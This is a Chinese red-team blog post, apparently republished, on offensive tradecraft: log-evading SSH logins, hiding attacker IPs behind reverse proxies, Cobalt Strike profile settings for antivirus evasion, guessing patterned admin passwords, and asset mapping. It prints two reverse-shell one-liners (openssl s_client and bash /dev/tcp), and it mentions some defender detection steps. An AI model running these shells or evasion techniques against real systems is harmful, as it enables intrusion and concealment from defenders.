【安全实战】红队攻防技术
前言
希望能夠面向紅藍(lán)雙方進(jìn)行講解,在進(jìn)行一些攻擊方式分析時(shí),同樣也會(huì)引起防守方對(duì)于攻擊的思考。紅藍(lán)對(duì)抗的意義也正是在這種持續(xù)的攻擊下不斷尋找防御的平衡點(diǎn),故 未知攻,焉知防。
? 本文僅做安全研究作用,切勿違法亂紀(jì)。
幽靈登錄
? ssh -T root@192.168.1.1 /usr/bin/bash -i
? 相信熟悉紅隊(duì)的小伙伴,不難看出,上面這條命令在日常滲透中,進(jìn)行登錄操作會(huì)經(jīng)常使用,因?yàn)樗环峙鋫谓K端的方式而不會(huì)被w和last等命令記錄。所以在某些時(shí)候,如果防守方在上機(jī)排查時(shí),僅查看日志發(fā)現(xiàn)沒有異常登錄,卻沒有注意到是否存在異常網(wǎng)絡(luò)連接時(shí),就會(huì)判斷為誤報(bào),給攻擊者可乘之機(jī)。
通過上圖,大家可以看到?jīng)]有任何的登錄信息,同樣lastlog也不會(huì)記錄本次登錄行為。那么這種方式?jīng)]有辦法排查嗎?其實(shí)不是的,因?yàn)楣粽咴谶B接22端口時(shí),并不是沒有痕跡,只要連接SSH端口就一定存在記錄。
如圖,我們從lsof以及ss命令結(jié)果中發(fā)現(xiàn)了連接服務(wù)器的惡意IP地址,那么這里留一個(gè)疑問,攻擊者還有什么辦法可以規(guī)避這樣的排查方式呢?其實(shí),在全國HW中,常見的隱匿個(gè)人主機(jī)IP地址的方式有許多,例如:肉雞代理流量、VPN、基礎(chǔ)隱匿設(shè)施等手段。而在攻擊溯源的過程中,防守方通過攻擊肉雞服務(wù)器獲取權(quán)限從而溯源攻擊者信息的手段屢試不爽,除非攻擊者愿意在拿下肉雞權(quán)限后長期維護(hù),不然一些水平不錯(cuò)的溯源人員也可以通過相同的方式拿下權(quán)限追溯攻擊源,當(dāng)然很少有攻擊者愿意花費(fèi)時(shí)間成本在一個(gè)肉雞上,基本上都是用一次換一個(gè)。
? 但是不得不承認(rèn),時(shí)至今日,肉雞仍然是非常有效的隱匿及攻擊方式。
SSH隧道隱匿
? 目前的內(nèi)網(wǎng)滲透中,市面上有著大量各種各樣的代理工具,例如:frp、ew、nps、venom、regeorg等等,根據(jù)不同的場(chǎng)景使用的協(xié)議也各不相同,也有DNS、ICMP、RDP這些非常規(guī)協(xié)議代理的工具。但是這些代理工具基本上都被一些殺軟和態(tài)感所敏感,基本上在非免殺狀態(tài)下就是落地被殺。所以也更加推薦大家使用一些系統(tǒng)自帶的工具進(jìn)行代理流量,例如:SSH隧道代理,Windows netsh、iptables等。本段將著重講解SSH隧道代理的Tips。
? 這里我們可以著重看一下箭頭所指的地方,通過SSH隧道代理的方式,拋開我們VPS用戶密碼被監(jiān)測(cè)到不談,真實(shí)IP也一覽無余的在網(wǎng)絡(luò)進(jìn)程以及相關(guān)連接中,老道的防守方成員可以很直觀的發(fā)現(xiàn)是一起【SSH隧道代理事件】,但是這里也不是我們所需要關(guān)注的,畢竟我們不能把所有防守方當(dāng)傻子,要正視對(duì)手的能力。【網(wǎng)絡(luò)安全學(xué)習(xí)資料·攻略】
? 這里我們采取Nginx反向代理的方式,具體實(shí)現(xiàn)方式這里不多贅述,感興趣的同學(xué)可以關(guān)注Ngrok或者Heroku等方式的配置,也可以自己使用匿名域名及服務(wù)器搭建。
? 通過上圖我們可以看到使用反向代理的地址進(jìn)行SSH隧道轉(zhuǎn)發(fā)可以有效的隱匿真實(shí)的IP地址以及IP地址,注意這里的IP地址是Ngrok服務(wù)器的地址,從而實(shí)現(xiàn)了隱匿的效果。
反彈shell隱匿
? 在我們?nèi)粘B透Linux主機(jī)的時(shí)候,當(dāng)碰到RCE漏洞的時(shí)候,需要進(jìn)行反彈獲取交互shell的時(shí)候,通常都會(huì)使用以下兩條命令。
例1:
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.0.100:2333 > /tmp/s; rm /tmp/s例2:
bash -c 'exec bash -i &>/dev/tcp/192.168.0.100/2333 <&1'? 以上的兩個(gè)例子可以說是我們?nèi)粘B透中最常用的兩條反彈shell命令,當(dāng)然例1的優(yōu)點(diǎn)是他的流量是進(jìn)行了加密的,在這種情況下反彈shell執(zhí)行的命令是無法被流控監(jiān)測(cè)到的,最多可能會(huì)報(bào) 隱蔽隧道通信 的異常事件,但是這種事件對(duì)于一個(gè)有一定規(guī)模的值守單位,真的是太正常了。每天都會(huì)發(fā)生成千上萬起類似的誤報(bào),而像向日葵、teamview這一類的報(bào)警基本都是直接忽略的。
? 但是我們所需要注意的也正是這樣的反彈方式,無論是例1還是例2我們都會(huì)發(fā)現(xiàn)都是不可避免的泄露了真實(shí)IP地址。其實(shí)這里的隱匿方式與上面的SSH隧道代理的原理是一樣的。都是通過了反向代理的方式實(shí)現(xiàn)的,之前的文章中的滲透操作中也有使用這樣的方式,然后有師傅咨詢過,所以這里再拿出來冷飯熱炒一下。
最終的效果如上圖,可以看到反彈shell的地址為反向代理的域名,連接的端口為10075而實(shí)際上線的端口并不是這一個(gè),這也僅僅是與前端服務(wù)器建立的網(wǎng)絡(luò)連接,實(shí)際真正上線的為前端服務(wù)器轉(zhuǎn)發(fā)給后端服務(wù)器的地址。
CosbaltStrike Profile
? 相信絕大多數(shù)從事滲透工作的同學(xué)對(duì)于CosbaltStrike這個(gè)工具都不陌生,雖然目前一線的紅隊(duì)已經(jīng)逐漸從CS轉(zhuǎn)到一些小眾的C2設(shè)施去,但是不置可否的是CS仍然是非常好用的工具,它所提供的Profile自定義流量特征的功能,如果配置得體搭配域前置技術(shù)實(shí)現(xiàn)高信譽(yù)域名結(jié)合,所制造的效果基本上與正常的流量沒有差異。
? 靈活的編寫Porfile是非常行之有效的,也不僅僅只是應(yīng)用于偽造隱匿,在做免殺時(shí),通過配置相關(guān)的混淆參數(shù)也可以過卡巴斯基的流量查殺,在之前測(cè)試免殺時(shí),基本上靜態(tài)已經(jīng)過了,但是腳本仍然啟動(dòng)一會(huì)就被查殺了,這時(shí)通過配置CS profile的以下兩段代碼解決。
通過配置 set obfuscate “true”; 高度混淆內(nèi)存中的代碼繞過。
而對(duì)于我們使用域前置的方式,假設(shè)profile不進(jìn)行任何配置,則會(huì)告警。如下圖
? 這時(shí)通過配置profile中stage的set cleanup “true”;即可解決。
? 這里風(fēng)起哥將自己編寫的profile文件傳到了Github上,感興趣的小伙伴可以自行下載進(jìn)行個(gè)性化配置。
? Github:https://github.com/wikiZ/service_cobaltstrike
運(yùn)維慣性密碼
? 在很多時(shí)候我們橫向拿下主機(jī)服務(wù)也不一定非要通過正面打漏洞的方式,在某次滲透項(xiàng)目中,我們通過推測(cè)運(yùn)維密碼習(xí)慣的方式拿下了23臺(tái)Redis數(shù)據(jù)庫,起初通過配置文件只發(fā)現(xiàn)了一個(gè)redis數(shù)據(jù)庫密碼,但是本機(jī)上部署有大量的redis數(shù)據(jù)庫,但是通過對(duì)這些redis數(shù)據(jù)庫的端口號(hào)與密碼分析得到了一個(gè)規(guī)律。【網(wǎng)絡(luò)安全學(xué)習(xí)資料·攻略】
zzRedis63902020 像這個(gè)密碼,不難猜測(cè)密碼為前后綴固定格式,中間四位為本機(jī)端口號(hào),然后重新組合登錄,然后嘗試登錄,發(fā)現(xiàn)確實(shí)如此。
? 然后,懂得都懂。
? 值得思考的是,這樣的密碼組合方式拓寬權(quán)限的方式真的不要太多了。畢竟運(yùn)維也是人,不可能一個(gè)服務(wù)一個(gè)密碼,但是安全管理規(guī)定也要執(zhí)行,所以很多時(shí)候就出現(xiàn)了這些富有規(guī)律的密碼。
? 所以像此類攻擊獲取的權(quán)限,也許不是防守方人不行,而真的是路不平了吧哈哈哈。
行為測(cè)繪
? 上面講解了幾個(gè)紅藍(lán)對(duì)抗中常碰到的一些Tips,其實(shí)就目前一些地方護(hù)網(wǎng)項(xiàng)目來看,與常規(guī)滲透的區(qū)別也并不是很大,所以上面講的一些方式可能更加適用于全國HW行動(dòng)中使用,因?yàn)闊o論是人員水準(zhǔn)還是重視程度都差異非常大。
? 但是不管在日常滲透中還是HW項(xiàng)目中,行為測(cè)繪都是非常行之有效的資產(chǎn)測(cè)繪手段。
? 首先對(duì)于梳理企業(yè)資產(chǎn),我們首先需要思考三個(gè)W,也就是who? what? where? 字面來看也就是誰的?什么?哪里? 而應(yīng)用于紅隊(duì),目前各級(jí)護(hù)網(wǎng)對(duì)于資產(chǎn)歸屬的劃分其實(shí)比較嚴(yán)格,例如資產(chǎn)屬于總集團(tuán)還是二級(jí)單位或者子公司,是否與集團(tuán)內(nèi)網(wǎng)互通?都是需要思考以及確認(rèn)的點(diǎn)。那么我們首先從who去思考再從what誰和where在哪里去收集,資產(chǎn)的所屬單位以及相關(guān)的網(wǎng)絡(luò)信息,例如使用的框架、部署的業(yè)務(wù)系統(tǒng)、服務(wù)、開放的端口、使用的開發(fā)語言、域名等等。
? 不同的群體,可能表現(xiàn)出基本的獨(dú)有的特征,當(dāng)我們能掌握到這個(gè)特征,那么我們就能盡可能識(shí)別出這個(gè)群體里的所有個(gè)體,而這些所謂的行為特征在網(wǎng)絡(luò)空間測(cè)繪里表現(xiàn)出的是這個(gè)設(shè)備各個(gè)端口協(xié)議里的banner特征。
? 目前在網(wǎng)絡(luò)空間測(cè)繪里常用的通用組件指紋識(shí)別形成的指紋庫就是利用了通用組件通用的默認(rèn)配置特征這個(gè)“行為”來進(jìn)行識(shí)別的。
? 也就是說,當(dāng)我們掌握了一定的目標(biāo)資產(chǎn)特征的時(shí)候,就可以根據(jù)我們對(duì)指紋的理解編寫規(guī)則更加精準(zhǔn)的匹配資產(chǎn)。并且通過資產(chǎn)測(cè)繪的方式也可以盡量減少主動(dòng)掃描被發(fā)現(xiàn)的概率,因?yàn)橐话愕哪繕?biāo)組織,他的對(duì)外業(yè)務(wù)服務(wù)并不會(huì)頻繁的改動(dòng),所以我們得到的信息通常是較為精準(zhǔn)的。
? 這里我們最常提取的特征像favicon圖標(biāo)hash碼,HTTPS證書序列號(hào),前端代碼段,服務(wù)連接banner等。
【網(wǎng)絡(luò)安全學(xué)習(xí)資料·攻略】
? 例如我們?nèi)プ雎┒磻?yīng)急,以exploit-db上的公開漏洞舉例。
該舉例漏洞為國外的一個(gè)WIFI攝像頭設(shè)備的未授權(quán)RCE漏洞,我們可以看到公開的漏洞POC中得到了兩個(gè)關(guān)鍵信息,該漏洞是通過連接目標(biāo)設(shè)備telnet 23端口,因?yàn)閐efault用戶登錄未鑒權(quán)導(dǎo)致。所以我們通過提取port:23 +"goke login:"這兩個(gè)特征作為指紋關(guān)聯(lián)受影響的資產(chǎn)。
? 通過Kunyu關(guān)聯(lián)資產(chǎn),發(fā)現(xiàn)全網(wǎng)共有318臺(tái)脆弱資產(chǎn)。
? 同樣對(duì)于內(nèi)網(wǎng)中的一些隱秘資產(chǎn)也可以采取HOSTS碰撞的方式。這種方式也是源于在企業(yè)內(nèi)網(wǎng)中可能使用了很多Nginx反向代理,僅能使用配置好的ServerName的內(nèi)網(wǎng)域名進(jìn)行訪問,那么我們?cè)谕饩W(wǎng)使用HOSTS碰撞的方式就可以碰撞出很多僅能內(nèi)網(wǎng)使用的業(yè)務(wù)平臺(tái),直通內(nèi)網(wǎng)業(yè)務(wù)!
? 這里僅做拋磚引玉的作用,更高效的企業(yè)資產(chǎn)收集方式可以關(guān)注Kunyu(坤輿)的使用。
knownsec/Kunyu: Kunyu, more efficient corporate asset collection (github.com)
后記
? 再次感謝各位讀者的支持,我一直覺得寫文章是一件很有意思的事,把自己所學(xué)的,總結(jié)的經(jīng)驗(yàn)以文字的形式傳遞下去,我最初的想法也是如此,我認(rèn)為哪怕只有一位師傅看到我的文章后覺得有所收獲,那么我覺得我所做的就不是沒有意義的。
? Kunyu(坤輿),后期持續(xù)維護(hù)更新,目前已經(jīng)著力于結(jié)合測(cè)繪數(shù)據(jù)進(jìn)行深度信息收集,并且后續(xù)會(huì)將更新點(diǎn)著力于此。同樣應(yīng)用于打擊新型網(wǎng)絡(luò)犯罪中也有顯著效果,會(huì)在之后的文章以實(shí)戰(zhàn)的方式展示給大家。
? 最后祝大家心想事成,美夢(mèng)成真!
Community
有想要【網(wǎng)絡(luò)安全學(xué)習(xí)資料·攻略】的,或者交流技術(shù)的同學(xué),可以關(guān)注私我獲取
總結(jié)
以上是生活随笔為你收集整理的【安全实战】红队攻防技术的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【安全技术】关于几种dll注入方式的学习
- 下一篇: 【Web安全】从xxe到phar反序列化